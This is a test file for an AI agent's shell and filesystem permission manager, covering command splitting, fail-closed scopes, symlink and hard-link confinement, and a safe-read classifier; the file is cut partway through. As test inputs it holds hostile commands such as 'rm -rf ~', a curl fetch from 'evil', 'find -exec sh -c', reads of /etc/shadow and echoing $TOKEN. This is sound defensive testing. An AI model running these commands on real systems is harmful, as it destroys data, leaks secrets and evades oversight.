Skip to content

Soul-driven AI agent with permission-hardened tools, token budgets, and multi-channel access. Runs 24/7 from CLI, Telegram or More.

35.8 KB
Raw Blame
import { describe, expect, it, vi, beforeEach, afterEach } from 'vitest';
import { mkdtempSync, mkdirSync, writeFileSync, rmSync, symlinkSync, linkSync, realpathSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { PermissionManager, splitShellSegments, commandFamily } from './permissions.js';

describe('splitShellSegments', () => {
  it('passes simple commands through as a single segment', () => {
    expect(splitShellSegments('ls -la')).toEqual(['ls -la']);
    expect(splitShellSegments('cat README.md')).toEqual(['cat README.md']);
    expect(splitShellSegments('pwd')).toEqual(['pwd']);
  });

  it('splits ;, &&, ||, |, & into separate segments', () => {
    expect(splitShellSegments('echo a; reboot now')).toEqual(['echo a', 'reboot now']);
    expect(splitShellSegments('ls && pwd')).toEqual(['ls', 'pwd']);
    expect(splitShellSegments('grep foo || echo missing')).toEqual(['grep foo', 'echo missing']);
    expect(splitShellSegments('cat foo | grep bar')).toEqual(['cat foo', 'grep bar']);
    expect(splitShellSegments('long-cmd &')).toEqual(['long-cmd']);
  });

  it('extracts $(...) command substitutions as separate segments', () => {
    expect(splitShellSegments('echo $(rm -rf ~)')).toContain('rm -rf ~');
    expect(splitShellSegments('cat "$(curl http://evil/x)"')).toContain('curl http://evil/x');
  });

  it('extracts backtick command substitutions as separate segments', () => {
    expect(splitShellSegments('echo `reboot now`')).toContain('reboot now');
    expect(splitShellSegments('echo "`sudo whoami`"')).toContain('sudo whoami');
  });

  it('keeps quoted text together', () => {
    expect(splitShellSegments('echo "a; b"')).toEqual(['echo "a; b"']);
    expect(splitShellSegments("echo 'a; b'")).toEqual(["echo 'a; b'"]);
  });

  it('does not expand escaped $(...) inside double quotes', () => {
    expect(splitShellSegments('echo "\\$(rm -rf ~)"')).toEqual(['echo "\\$(rm -rf ~)"']);
  });

  it('decomposes nested substitution', () => {
    const segs = splitShellSegments('echo `echo nested $(reboot now)`');
    expect(segs).toContain('reboot now');
  });

  it('decomposes subshell () and brace {} blocks', () => {
    expect(splitShellSegments('( reboot now )')).toEqual(['reboot now']);
    expect(splitShellSegments('{ reboot now; }')).toEqual(['reboot now']);
  });
});

describe('fail-closed execute scopes (bots)', () => {
  function managerWithExecuteScope() {
    const permissions = new PermissionManager();
    const manifest = permissions.getManifest();
    manifest.capabilities.shell.enabled = true;
    manifest.capabilities.filesystem.scopes = [
      { path: '/tmp/execdir', read: true, write: false, execute: true },
      { path: '/tmp/readonlydir', read: true, write: false },
    ];
    permissions.setAutoApproveAll(false);
    permissions.setFailClosed(true);
    permissions.setCurrentContext('bot', 'worker');
    return permissions;
  }

  it('runs a command whose path arguments all lie inside an execute scope', async () => {
    const permissions = managerWithExecuteScope();
    await expect(permissions.checkShellCommand('node /tmp/execdir/tool.js --flag')).resolves.toMatchObject({ allowed: true, needsApproval: false });
  });

  it('denies a command that reaches outside the execute scope', async () => {
    const permissions = managerWithExecuteScope();
    await expect(permissions.checkShellCommand('node /tmp/execdir/tool.js /etc/passwd')).resolves.toMatchObject({ allowed: false });
  });

  it('does not treat a read-only (non-execute) scope as execute', async () => {
    const permissions = managerWithExecuteScope();
    await expect(permissions.checkShellCommand('node /tmp/readonlydir/tool.js')).resolves.toMatchObject({ allowed: false });
  });

  it('blocked commands win over execute scopes', async () => {
    const permissions = managerWithExecuteScope();
    permissions.getManifest().capabilities.shell.blocked = ['rm *'];
    await expect(permissions.checkShellCommand('rm -rf /tmp/execdir')).resolves.toMatchObject({ allowed: false });
  });

  it('commands without path arguments stay approval-gated (cwd is not a grant)', async () => {
    const permissions = managerWithExecuteScope();
    await expect(permissions.checkShellCommand('npm install')).resolves.toMatchObject({ allowed: false });
  });

  it('a bare script path inside the execute scope runs without approval', async () => {
    const permissions = managerWithExecuteScope();
    await expect(permissions.checkShellCommand('/tmp/execdir/run.sh --serve')).resolves.toMatchObject({ allowed: true, needsApproval: false });
  });

  it('an ambient global autoApproved list never elevates a fail-closed context', async () => {
    const permissions = managerWithExecuteScope();
    // Simulate a global permissions.yaml where the user approved "node *":
    // an unattended bot must NOT inherit it.
    permissions.getManifest().capabilities.shell.autoApproved = ['node *'];
    await expect(permissions.checkShellCommand('node script.js')).resolves.toMatchObject({ allowed: false });
    // Explicit bot grants DO apply.
    permissions.setBotShellAllowList(['node *']);
    await expect(permissions.checkShellCommand('node script.js')).resolves.toMatchObject({ allowed: true, needsApproval: false });
    // needsApproval still wins over the bot list.
    permissions.getManifest().capabilities.shell.needsApproval = ['node *'];
    await expect(permissions.checkShellCommand('node script.js')).resolves.toMatchObject({ allowed: false });
  });
});

describe('bots reading where they may read: no question (real false alarms)', () => {
  function bot() {
    const permissions = new PermissionManager();
    const m = permissions.getManifest();
    m.capabilities.shell.enabled = true;
    m.capabilities.filesystem.scopes = [{ path: '/tmp/fleet/_shared', read: true, write: false }, { path: '/tmp/fleet/me', read: true, write: true }];
    permissions.setAutoApproveAll(false);
    permissions.setFailClosed(true);
    permissions.setCurrentContext('bot', 'worker');
    const asked: string[] = [];
    permissions.onAsk(async (q: string) => { asked.push(q); return "no"; });
    return { permissions, asked };
  }

  it('ls / find with pipes and 2>/dev/null inside readable folders run without asking', async () => {
    const { permissions, asked } = bot();
    await expect(permissions.checkShellCommand('ls -lrt "/tmp/fleet/_shared/" 2>/dev/null | tail -20')).resolves.toMatchObject({ allowed: true });
    await expect(permissions.checkShellCommand('find "/tmp/fleet/_shared" -name "*project*" -o -name "*curated*" 2>/dev/null')).resolves.toMatchObject({ allowed: true });
    expect(asked).toEqual([]);
  });

  it('reading outside, writing, and running other things still ask', async () => {
    const { permissions, asked } = bot();
    await expect(permissions.checkShellCommand('find ~ -name "wrangler.toml" 2>/dev/null | head -3')).resolves.toMatchObject({ allowed: false });
    await expect(permissions.checkShellCommand('ls /tmp/fleet/_shared > /tmp/elsewhere.txt')).resolves.toMatchObject({ allowed: false });
    await expect(permissions.checkShellCommand('find /tmp/fleet/_shared -delete')).resolves.toMatchObject({ allowed: false });
    expect(asked.length).toBeGreaterThan(0);
    expect(asked.some((q) => /Write to file: \/(dev\/null|\*)?$/.test(q))).toBe(false);
  });
});

describe('fail-closed skill elevation', () => {
  it('elevateForSkill is a no-op in fail-closed mode (skills never re-permission a bot)', async () => {
    const permissions = new PermissionManager();
    permissions.getManifest().capabilities.shell.enabled = true;
    permissions.setFailClosed(true);
    permissions.setCurrentContext('bot', 'worker');
    permissions.elevateForSkill(['fs_write', 'run_command', 'read_file']);
    // Without the guard, elevation would bypass the fail-closed gates.
    await expect(permissions.checkFsAccess('/etc/hosts', 'write')).resolves.toMatchObject({ allowed: false });
    await expect(permissions.checkShellCommand('npm install')).resolves.toMatchObject({ allowed: false });
  });
});

describe('most-specific scope wins', () => {
  it('a deep grant is not shadowed by a broader read-only ancestor', async () => {
    const permissions = new PermissionManager();
    permissions.getManifest().capabilities.filesystem.scopes = [
      { path: '/tmp/root', read: true, write: false },
      { path: '/tmp/root/deep', read: true, write: true },
    ];
    permissions.setFailClosed(true);
    permissions.setCurrentContext('bot', 'worker');
    await expect(permissions.checkFsAccess('/tmp/root/deep/file.txt', 'write')).resolves.toMatchObject({ allowed: true });
    await expect(permissions.checkFsAccess('/tmp/root/other.txt', 'write')).resolves.toMatchObject({ allowed: false });
    await expect(permissions.checkFsAccess('/tmp/root/other.txt', 'read')).resolves.toMatchObject({ allowed: true });
  });
});

describe('PermissionManager remote safety', () => {
  it('enforces hard command blocks before Local allow-all', async () => {
    const permissions = new PermissionManager();
    const manifest = permissions.getManifest();
    manifest.capabilities.shell.enabled = true;
    manifest.capabilities.shell.blocked = ['rm *'];
    permissions.setAutoApproveAll(true);

    await expect(permissions.checkShellCommand('rm -rf project')).resolves.toMatchObject({ allowed: false });
  });

  it('does not let Local CLI allow-all silently elevate a Cloud request', async () => {
    const permissions = new PermissionManager();
    const manifest = permissions.getManifest();
    manifest.capabilities.shell.enabled = true;
    manifest.capabilities.shell.blocked = [];
    const ask = vi.fn().mockResolvedValue('yes');
    permissions.onAsk(ask);
    permissions.setAutoApproveAll(true);
    permissions.setCurrentContext('web', 'cloud-request-1');

    await expect(permissions.checkShellCommand('npm install example')).resolves.toMatchObject({ allowed: true });
    expect(ask).toHaveBeenCalledOnce();
  });

  it('scopes always approval to the exact command and interaction context', async () => {
    const permissions = new PermissionManager();
    const manifest = permissions.getManifest();
    manifest.capabilities.shell.enabled = true;
    manifest.capabilities.shell.blocked = [];
    const ask = vi.fn().mockResolvedValueOnce('always').mockResolvedValue('no');
    permissions.onAsk(ask);
    permissions.setCurrentContext('web', 'cloud-request-1');

    await expect(permissions.checkShellCommand('npm install example')).resolves.toMatchObject({ allowed: true });
    await expect(permissions.checkShellCommand('npm install example')).resolves.toMatchObject({ allowed: true });
    await expect(permissions.checkShellCommand('npm install different')).resolves.toMatchObject({ allowed: false });
    expect(ask).toHaveBeenCalledTimes(2);
  });

  it('does not classify redirection or mutating read-command flags as safe reads', async () => {
    const permissions = new PermissionManager();
    const manifest = permissions.getManifest();
    manifest.capabilities.shell.enabled = true;
    manifest.capabilities.shell.blocked = [];
    const ask = vi.fn().mockResolvedValue('no');
    permissions.onAsk(ask);
    permissions.setCurrentContext('web', 'cloud-request-1');

    await expect(permissions.checkShellCommand('echo poisoned > AGENTS.md')).resolves.toMatchObject({ allowed: false });
    await expect(permissions.checkShellCommand('echo poisoned>AGENTS.md')).resolves.toMatchObject({ allowed: false });
    await expect(permissions.checkShellCommand('find . -delete')).resolves.toMatchObject({ allowed: false });
    // find -exec/-execdir launch a subprocess — the advisory payload from
    // issues #71/#77/#101 (and #110), minus the redirection so this exercises
    // the find-flag rule on its own rather than the redirection rule.
    await expect(permissions.checkShellCommand("find . -maxdepth 0 -exec sh -c 'id' ';'")).resolves.toMatchObject({ allowed: false });
    await expect(permissions.checkShellCommand('find . -execdir touch canary \\;')).resolves.toMatchObject({ allowed: false });
    await expect(permissions.checkShellCommand('git branch -D protected')).resolves.toMatchObject({ allowed: false });
    await expect(permissions.checkShellCommand('git branch --delete protected')).resolves.toMatchObject({ allowed: false });
    await expect(permissions.checkShellCommand('git branch new-branch')).resolves.toMatchObject({ allowed: false });
    expect(ask).toHaveBeenCalledTimes(8);
  });

  // POSIX read tools (wc/find/du/head) are not in the pinned Windows dirs, so
  // there they always prompt (ADR-016); the auto-approve half is POSIX-only.
  it.skipIf(process.platform === 'win32')('does not classify wc --files0-from as a safe read (indirect path deref)', async () => {
    const permissions = new PermissionManager();
    const manifest = permissions.getManifest();
    manifest.capabilities.shell.enabled = true;
    manifest.capabilities.shell.blocked = [];
    const ask = vi.fn().mockResolvedValue('no');
    permissions.onAsk(ask);
    permissions.setCurrentContext('web', 'cloud-request-1');

    // ``--files0-from`` reads the paths listed inside the file, which the
    // literal-path gate never inspects at approval time.
    await expect(permissions.checkShellCommand('wc --files0-from=list0.bin')).resolves.toMatchObject({ allowed: false });
    await expect(permissions.checkShellCommand('wc --files0-from list0.bin')).resolves.toMatchObject({ allowed: false });
    await expect(permissions.checkShellCommand('wc -l --files0-from=list0.bin')).resolves.toMatchObject({ allowed: false });
    // A plain wc read stays auto-approved.
    await expect(permissions.checkShellCommand('wc -l README.md')).resolves.toMatchObject({ allowed: true });
    expect(ask).toHaveBeenCalledTimes(3);
  });

  // POSIX read tools (wc/find/du/head) are not in the pinned Windows dirs, so
  // there they always prompt (ADR-016); the auto-approve half is POSIX-only.
  it.skipIf(process.platform === 'win32')('find -fprint/-fprintf/-files0-from are side-effectful or indirect — require approval', async () => {
    const permissions = new PermissionManager();
    const manifest = permissions.getManifest();
    manifest.capabilities.shell.enabled = true;
    manifest.capabilities.shell.blocked = [];
    const ask = vi.fn().mockResolvedValue('no');
    permissions.onAsk(ask);
    permissions.setCurrentContext('web', 'cloud-request-1');

    // -fprint/-fprintf WRITE files with an attacker-chosen path — the same
    // arbitrary-write class the -exec deny covers (issue #110's family).
    await expect(permissions.checkShellCommand('find . -fprint out.txt')).resolves.toMatchObject({ allowed: false });
    await expect(permissions.checkShellCommand('find . -fprintf out.txt %p')).resolves.toMatchObject({ allowed: false });
    // -files0-from dereferences a path list the literal-path gate never sees.
    await expect(permissions.checkShellCommand('find . -files0-from=list.bin')).resolves.toMatchObject({ allowed: false });
    // The generic indirection rule covers the other safe-read commands.
    await expect(permissions.checkShellCommand('du --files0-from=list.bin')).resolves.toMatchObject({ allowed: false });
    // Plain reads must keep working without a prompt.
    await expect(permissions.checkShellCommand('find . -maxdepth 1')).resolves.toMatchObject({ allowed: true });
    await expect(permissions.checkShellCommand('du -sh .')).resolves.toMatchObject({ allowed: true });
    expect(ask).toHaveBeenCalledTimes(4);
  });

  // POSIX read tools (wc/find/du/head) are not in the pinned Windows dirs, so
  // there they always prompt (ADR-016); the auto-approve half is POSIX-only.
  it.skipIf(process.platform === 'win32')('requires approval for safe-read commands that rely on shell expansion', async () => {
    const permissions = new PermissionManager();
    const manifest = permissions.getManifest();
    manifest.capabilities.shell.enabled = true;
    manifest.capabilities.shell.blocked = [];
    const ask = vi.fn().mockResolvedValue('no');
    permissions.onAsk(ask);
    permissions.setCurrentContext('web', 'cloud-request-1');

    // $HOME/… expands to a path the literal gate never saw (CVE-2026-28463).
    await expect(permissions.checkShellCommand('head $HOME/secret.txt')).resolves.toMatchObject({ allowed: false });
    // ${…} and command substitution are the same class.
    await expect(permissions.checkShellCommand('cat ${HOME}/secret.txt')).resolves.toMatchObject({ allowed: false });
    // $VAR discloses environment values (issue #76/#80).
    await expect(permissions.checkShellCommand('echo $TOKEN')).resolves.toMatchObject({ allowed: false });
    // Home shorthands expand after the check too.
    await expect(permissions.checkShellCommand('cat ~/secret.txt')).resolves.toMatchObject({ allowed: false });
    // ANSI-C quoting expands hex/unicode escapes post-check (same class as #95).
    await expect(permissions.checkShellCommand("head $'\\x2fetc\\x2fpasswd'")).resolves.toMatchObject({ allowed: false });
    // A plain read relative to cwd stays auto-approved.
    await expect(permissions.checkShellCommand('head file.txt')).resolves.toMatchObject({ allowed: true });
  });
});

describe('PermissionManager symlink write confinement', () => {
  let root: string;
  let ws: string;
  let outside: string;

  function makePermissions(): PermissionManager {
    const permissions = new PermissionManager();
    const manifest = permissions.getManifest();
    manifest.capabilities.filesystem.enabled = true;
    manifest.capabilities.filesystem.scopes.push({ path: ws, read: true, write: true });
    permissions.setAutoApproveAll(true);
    return permissions;
  }

  beforeEach(() => {
    root = mkdtempSync(join(tmpdir(), 'mercury-fs-'));
    ws = join(root, 'ws');
    outside = join(root, 'outside');
    mkdirSync(ws);
    mkdirSync(outside);
    writeFileSync(join(outside, 'secret.txt'), 'x');
    symlinkSync(join(outside, 'secret.txt'), join(ws, 'alias.txt'));
  });

  afterEach(() => {
    rmSync(root, { recursive: true, force: true });
  });

  it('denies a write that escapes the scope through an in-scope symlink', async () => {
    const permissions = makePermissions();
    await expect(permissions.checkFsAccess(join(ws, 'alias.txt'), 'write')).resolves.toMatchObject({ allowed: false });
  });

  it('still allows a plain write inside the scope', async () => {
    const permissions = makePermissions();
    await expect(permissions.checkFsAccess(join(ws, 'new.txt'), 'write')).resolves.toMatchObject({ allowed: true });
  });

  it('allows a symlink whose target stays inside the scope', async () => {
    const permissions = makePermissions();
    writeFileSync(join(ws, 'inner.txt'), 'x');
    symlinkSync(join(ws, 'inner.txt'), join(ws, 'inner-alias.txt'));
    await expect(permissions.checkFsAccess(join(ws, 'inner-alias.txt'), 'write')).resolves.toMatchObject({ allowed: true });
  });
});

describe('PermissionManager read-side canonicalisation (symlink reads, #104 hard links)', () => {
  let root: string;
  let ws: string;
  let outside: string;

  function makePermissions(opts: { ask?: (prompt: string) => Promise<string>; context?: [string, string] } = {}): PermissionManager {
    const permissions = new PermissionManager();
    const manifest = permissions.getManifest();
    manifest.capabilities.filesystem.enabled = true;
    manifest.capabilities.filesystem.scopes = [{ path: ws, read: true, write: false }];
    permissions.setAutoApproveAll(false);
    permissions.setCurrentContext(...(opts.context ?? ['web', 'cloud-request-1']));
    if (opts.ask) permissions.onAsk(opts.ask);
    return permissions;
  }

  beforeEach(() => {
    root = mkdtempSync(join(tmpdir(), 'mercury-read-'));
    ws = join(root, 'ws');
    outside = join(root, 'outside');
    mkdirSync(ws);
    mkdirSync(outside);
    writeFileSync(join(outside, 'id_rsa'), 'PRIVATE');
    writeFileSync(join(ws, 'plain.txt'), 'plain');
    writeFileSync(join(ws, 'inner.txt'), 'inner');
    symlinkSync(join(outside, 'id_rsa'), join(ws, 'alias.txt'));
    symlinkSync(join(ws, 'inner.txt'), join(ws, 'inner-alias.txt'));
    writeFileSync(join(ws, 'linked.txt'), 'linked');
    linkSync(join(ws, 'linked.txt'), join(outside, 'linked-alias.txt'));
  });

  afterEach(() => {
    rmSync(root, { recursive: true, force: true });
  });

  it('allows a plain in-scope read and reports the canonical path and file identity', async () => {
    const ask = vi.fn().mockResolvedValue('no');
    const permissions = makePermissions({ ask });
    const result = await permissions.checkFsAccess(join(ws, 'plain.txt'), 'read');
    expect(result.allowed).toBe(true);
    expect(result.canonical).toBe(realpathSync(join(ws, 'plain.txt')));
    expect(result.fileId).toMatchObject({ dev: expect.any(Number), ino: expect.any(Number) });
    expect(ask).not.toHaveBeenCalled();
  });

  it('denies an in-scope symlink whose target is outside every readable scope (no handler)', async () => {
    const permissions = makePermissions();
    const result = await permissions.checkFsAccess(join(ws, 'alias.txt'), 'read');
    expect(result).toMatchObject({ allowed: false, code: 'symlink-escape', canonical: realpathSync(join(outside, 'id_rsa')) });
    expect(result.reason).toContain('resolves outside the approved scopes');
  });

  it('asks for the symlink TARGET when a handler exists, and denies on "no"', async () => {
    const ask = vi.fn().mockResolvedValue('no');
    const permissions = makePermissions({ ask });
    const result = await permissions.checkFsAccess(join(ws, 'alias.txt'), 'read');
    expect(result).toMatchObject({ allowed: false, code: 'symlink-escape' });
    expect(ask).toHaveBeenCalledTimes(1);
    expect(ask.mock.calls[0][0]).toContain(realpathSync(join(outside, 'id_rsa')));
  });

  it('allows the symlink read once the user approves the target', async () => {
    const ask = vi.fn().mockResolvedValue('yes');
    const permissions = makePermissions({ ask });
    const result = await permissions.checkFsAccess(join(ws, 'alias.txt'), 'read');
    expect(result).toMatchObject({ allowed: true, canonical: realpathSync(join(outside, 'id_rsa')) });
    expect(result.fileId).toBeDefined();
  });

  it('never prompts for the symlink target in fail-closed mode', async () => {
    const ask = vi.fn().mockResolvedValue('yes');
    const permissions = makePermissions({ ask });
    permissions.setFailClosed(true);
    await expect(permissions.checkFsAccess(join(ws, 'alias.txt'), 'read')).resolves.toMatchObject({ allowed: false, code: 'symlink-escape' });
    expect(ask).not.toHaveBeenCalled();
  });

  it('allows a symlink whose target stays inside the scope', async () => {
    const ask = vi.fn().mockResolvedValue('no');
    const permissions = makePermissions({ ask });
    const result = await permissions.checkFsAccess(join(ws, 'inner-alias.txt'), 'read');
    expect(result).toMatchObject({ allowed: true, canonical: realpathSync(join(ws, 'inner.txt')) });
    expect(ask).not.toHaveBeenCalled();
  });

  it('routes a hard-linked file (nlink > 1) through the approval handler', async () => {
    const ask = vi.fn().mockResolvedValue('no');
    const permissions = makePermissions({ ask });
    const denied = await permissions.checkFsAccess(join(ws, 'linked.txt'), 'read');
    expect(denied).toMatchObject({ allowed: false, code: 'hardlink' });
    expect(ask).toHaveBeenCalledTimes(1);
    expect(ask.mock.calls[0][0]).toMatch(/hard-linked/);

    ask.mockResolvedValue('yes');
    const allowed = await permissions.checkFsAccess(join(ws, 'linked.txt'), 'read');
    expect(allowed).toMatchObject({ allowed: true, canonical: realpathSync(join(ws, 'linked.txt')) });
  });

  it('"always" remembers the hard-linked file for the interaction context', async () => {
    const ask = vi.fn().mockResolvedValue('always');
    const permissions = makePermissions({ ask });
    await expect(permissions.checkFsAccess(join(ws, 'linked.txt'), 'read')).resolves.toMatchObject({ allowed: true });
    await expect(permissions.checkFsAccess(join(ws, 'linked.txt'), 'read')).resolves.toMatchObject({ allowed: true });
    expect(ask).toHaveBeenCalledTimes(1);
    // A different context asks again.
    permissions.setCurrentContext('web', 'cloud-request-2');
    await expect(permissions.checkFsAccess(join(ws, 'linked.txt'), 'read')).resolves.toMatchObject({ allowed: true });
    expect(ask).toHaveBeenCalledTimes(2);
  });

  it('denies a hard-linked file when nothing can ask (no handler, fail-closed, internal)', async () => {
    await expect(makePermissions().checkFsAccess(join(ws, 'linked.txt'), 'read')).resolves.toMatchObject({ allowed: false, code: 'hardlink' });

    const ask = vi.fn().mockResolvedValue('yes');
    const failClosed = makePermissions({ ask });
    failClosed.setFailClosed(true);
    await expect(failClosed.checkFsAccess(join(ws, 'linked.txt'), 'read')).resolves.toMatchObject({ allowed: false, code: 'hardlink' });

    const internal = makePermissions({ ask, context: ['internal', 'internal'] });
    await expect(internal.checkFsAccess(join(ws, 'linked.txt'), 'read')).resolves.toMatchObject({ allowed: false, code: 'hardlink' });
    expect(ask).not.toHaveBeenCalled();
  });

  it('skips the hard-link prompt under Local allow-all', async () => {
    const ask = vi.fn().mockResolvedValue('no');
    const permissions = makePermissions({ ask, context: ['cli', 'cli'] });
    permissions.setAutoApproveAll(true);
    await expect(permissions.checkFsAccess(join(ws, 'linked.txt'), 'read')).resolves.toMatchObject({ allowed: true });
    expect(ask).not.toHaveBeenCalled();
  });

  it('a directory with many links (subdirectories) is not treated as a hard-link alias', async () => {
    mkdirSync(join(ws, 'dir', 'a'), { recursive: true });
    mkdirSync(join(ws, 'dir', 'b'));
    const ask = vi.fn().mockResolvedValue('no');
    const permissions = makePermissions({ ask });
    await expect(permissions.checkFsAccess(join(ws, 'dir'), 'read')).resolves.toMatchObject({ allowed: true });
    expect(ask).not.toHaveBeenCalled();
  });

  it('a temp scope granted on a directory of symlinks does not reach through them', async () => {
    // The user approved the directory (session scope); its entries are
    // symlinks whose targets are still outside every readable scope → denied.
    mkdirSync(join(root, 'links'));
    symlinkSync(join(outside, 'id_rsa'), join(root, 'links', 'key'));
    const permissions = makePermissions();
    permissions.addTempScope(join(root, 'links'), true, false);
    const result = await permissions.checkFsAccess(join(root, 'links', 'key'), 'read');
    expect(result).toMatchObject({ allowed: false, code: 'symlink-escape', canonical: realpathSync(join(outside, 'id_rsa')) });
  });

  it('still returns the plain denial for an out-of-scope read without a handler', async () => {
    const permissions = makePermissions();
    const result = await permissions.checkFsAccess(join(outside, 'id_rsa'), 'read');
    expect(result).toMatchObject({ allowed: false, code: 'denied' });
    expect(result.reason).toBe(`Permission denied for read access to ${join(outside, 'id_rsa')}`);
  });
});

describe('safe-read classifier: residual side-effect flags (table)', () => {
  function makePermissions() {
    const permissions = new PermissionManager();
    const manifest = permissions.getManifest();
    manifest.capabilities.shell.enabled = true;
    manifest.capabilities.shell.blocked = [];
    const ask = vi.fn().mockResolvedValue('no');
    permissions.onAsk(ask);
    permissions.setCurrentContext('web', 'cloud-request-1');
    // Verdicts must not depend on which tools the CI host has installed
    // (tree/rg are often absent from the pinned system dirs).
    permissions.setBinaryResolver((p) => `/usr/bin/${p}`);
    return { permissions, ask };
  }

  const requiresApproval: Array<[string, string]> = [
    ['find . -fprint0 out.bin', 'find -fprint0 writes a file (the old \\b after -fprint stopped at the digit)'],
    ['find . -fprint0=out.bin', 'find -fprint0= form'],
    ['find . -fls out.txt', 'find -fls writes an ls-style listing'],
    ['find . -type f -fprintf out.txt %p', 'find -fprintf writes a file'],
    ['tree -o out.txt', 'tree -o writes the listing'],
    ['tree -ao out.txt', 'tree -o inside a short-flag cluster'],
    ['tree --output out.txt', 'tree --output'],
    ['git log --output=hist.txt', 'git log --output= writes a file'],
    ['git log --output hist.txt', 'git log --output writes a file'],
    ['git diff --output=d.patch', 'git diff --output= writes a file'],
    ['git diff --ext-diff', 'git diff --ext-diff runs the configured external diff'],
    ['git log -p --ext-diff', 'git log --ext-diff runs the configured external diff'],
    ['git diff --no-index a.txt b.txt', 'git diff --no-index diffs arbitrary paths'],
    ['rg --pre cat secret', 'rg --pre runs a preprocessor'],
    ['rg --pre=./leak.sh secret', 'rg --pre= runs a preprocessor'],
    ['curl -o out.html http://example.com', 'curl -o writes a file'],
    ['curl -O http://example.com/x.sh', 'curl -O writes the remote name'],
    ['curl -sSLo out.sh http://example.com', 'curl -o inside a short-flag cluster'],
    ['curl -sSLJO http://example.com', 'curl -J/-O inside a cluster'],
    ['curl --output out.html http://example.com', 'curl --output'],
    ['curl --remote-name http://example.com/x', 'curl --remote-name'],
    // Relative paths on purpose: an absolute path outside the cwd is denied
    // by the cwd gate before the classifier can prompt (macOS /tmp → /private/tmp).
    ['curl --output-dir downloads -O http://example.com/x', 'curl --output-dir'],
    ['wget -O out.html http://example.com', 'wget -O'],
    ['wget --output-document=out.html http://example.com', 'wget --output-document='],
    ['wget -o log.txt http://example.com', 'wget -o writes a log file'],
    ['wget -P downloads http://example.com', 'wget -P chooses the download directory'],
    ['wget -qO- http://example.com', 'wget -O inside a cluster'],
  ];

  it.each(requiresApproval)('%s → requires approval (%s)', async (command) => {
    const { permissions, ask } = makePermissions();
    await expect(permissions.checkShellCommand(command)).resolves.toMatchObject({ allowed: false });
    expect(ask).toHaveBeenCalledTimes(1);
  });

  const staysAutoApproved: Array<[string, string]> = [
    ['find . -name "*.ts" -print0', 'find -print0 only prints'],
    ['find . -type f -newer README.md', 'plain find'],
    ['tree -a -L 2', 'tree without an output flag'],
    ['git log --oneline -n 5', 'plain git log'],
    ['git log --format=%H', 'git log --format is read-only'],
    ['git diff --stat', 'plain git diff'],
    ['git diff --no-ext-diff', '--no-ext-diff disables the external diff'],
    ['rg --pretty pattern src', 'rg --pretty is not --pre'],
    ['rg -n pattern src', 'plain rg'],
    ['ls -o', 'ls has no write flags; -o is a listing format'],
    ['grep -o pattern file.txt', 'grep -o prints only matches'],
  ];

  it.each(staysAutoApproved)('%s → auto-approved (%s)', async (command) => {
    const { permissions, ask } = makePermissions();
    await expect(permissions.checkShellCommand(command)).resolves.toMatchObject({ allowed: true });
    expect(ask).not.toHaveBeenCalled();
  });
});

describe('argv lane (ADR-016)', () => {
  function makePermissions(installed: (p: string) => string | undefined = (p) => `/usr/bin/${p}`) {
    const permissions = new PermissionManager();
    const manifest = permissions.getManifest();
    manifest.capabilities.shell.enabled = true;
    manifest.capabilities.shell.blocked = [];
    const ask = vi.fn().mockResolvedValue('no');
    permissions.onAsk(ask);
    permissions.setCurrentContext('web', 'cloud-request-1');
    permissions.setBinaryResolver(installed);
    return { permissions, ask };
  }

  it('auto-approves through the argv lane and says so', async () => {
    const { permissions, ask } = makePermissions();
    for (const cmd of ['ls', 'git status', 'git branch', 'pwd', 'cat "README.md"', 'grep -rn "a b" src']) {
      await expect(permissions.checkShellCommand(cmd)).resolves.toMatchObject({ allowed: true, lane: 'argv' });
    }
    expect(ask).not.toHaveBeenCalled();
  });

  it('sends pipelines and chains of read-only commands to the approval lane', async () => {
    const { permissions, ask } = makePermissions();
    ask.mockResolvedValue('yes');
    for (const cmd of ['git log | head', 'ls && pwd', 'cat a; cat b']) {
      await expect(permissions.checkShellCommand(cmd)).resolves.toMatchObject({ allowed: true, lane: 'shell' });
    }
    expect(ask).toHaveBeenCalledTimes(3);
    expect(ask).toHaveBeenCalledWith('Run command: git log | head');
  });

  it('"Always" covers the same command family for the rest of the chat', async () => {
    const { permissions, ask } = makePermissions();
    permissions.setCurrentContext('cli', 'cli');
    ask.mockResolvedValueOnce('always');
    await expect(permissions.checkShellCommand('pandoc book.epub -o book.md')).resolves.toMatchObject({ allowed: true });
    await expect(permissions.checkShellCommand('pandoc other.epub -t gfm -o other.md')).resolves.toMatchObject({ allowed: true });
    expect(ask).toHaveBeenCalledTimes(1);
    // A different program still asks.
    ask.mockResolvedValueOnce('no');
    await expect(permissions.checkShellCommand('python3 convert.py')).resolves.toMatchObject({ allowed: false });
    expect(ask).toHaveBeenCalledTimes(2);
  });

  it('remote (cloud) requests keep "Always" to the exact command', async () => {
    const { permissions, ask } = makePermissions();
    ask.mockResolvedValueOnce('always').mockResolvedValue('no');
    await expect(permissions.checkShellCommand('pandoc a.epub -o a.md')).resolves.toMatchObject({ allowed: true });
    await expect(permissions.checkShellCommand('pandoc b.epub -o b.md')).resolves.toMatchObject({ allowed: false });
  });

  it('never generalises wrappers that can run anything', () => {
    expect(commandFamily('pandoc a.epub -o a.md')).toBe('pandoc');
    expect(commandFamily('git commit -m "x"')).toBe('git commit');
    expect(commandFamily('LANG=C npm test -- --watch')).toBe('npm test');
    expect(commandFamily('npm install left-pad')).toBeNull();
    for (const cmd of ['sudo rm -rf /tmp/x', 'sh -c "anything"', 'env FOO=1 node x.js', 'xargs rm', 'bash script.sh']) {
      expect(commandFamily(cmd)).toBeNull();
    }
  });

  it('sees through quoting: a quoted path outside the cwd and readable scopes prompts', async () => {
    const { permissions, ask } = makePermissions();
    permissions.getManifest().capabilities.shell.cwdOnly = false;
    // Only the workspace is readable (independent of the host's permissions.yaml).
    permissions.getManifest().capabilities.filesystem.scopes = [{ path: process.cwd(), read: true, write: true }];
    await expect(permissions.checkShellCommand('cat "/etc/passwd"')).resolves.toMatchObject({ allowed: false });
    await expect(permissions.checkShellCommand('grep --file="/etc/shadow" x')).resolves.toMatchObject({ allowed: false });
    await expect(permissions.checkShellCommand("cat 'sub/../../outside.txt'")).resolves.toMatchObject({ allowed: false });
    expect(ask).toHaveBeenCalledTimes(3);
  });

  it('an allowlisted program missing from the pinned PATH goes to the approval lane (#103)', async () => {
    const { permissions, ask } = makePermissions(() => undefined);
    await expect(permissions.checkShellCommand('rg -n pattern src')).resolves.toMatchObject({ allowed: false });
    expect(ask).toHaveBeenCalledWith('Run command: rg -n pattern src');
  });

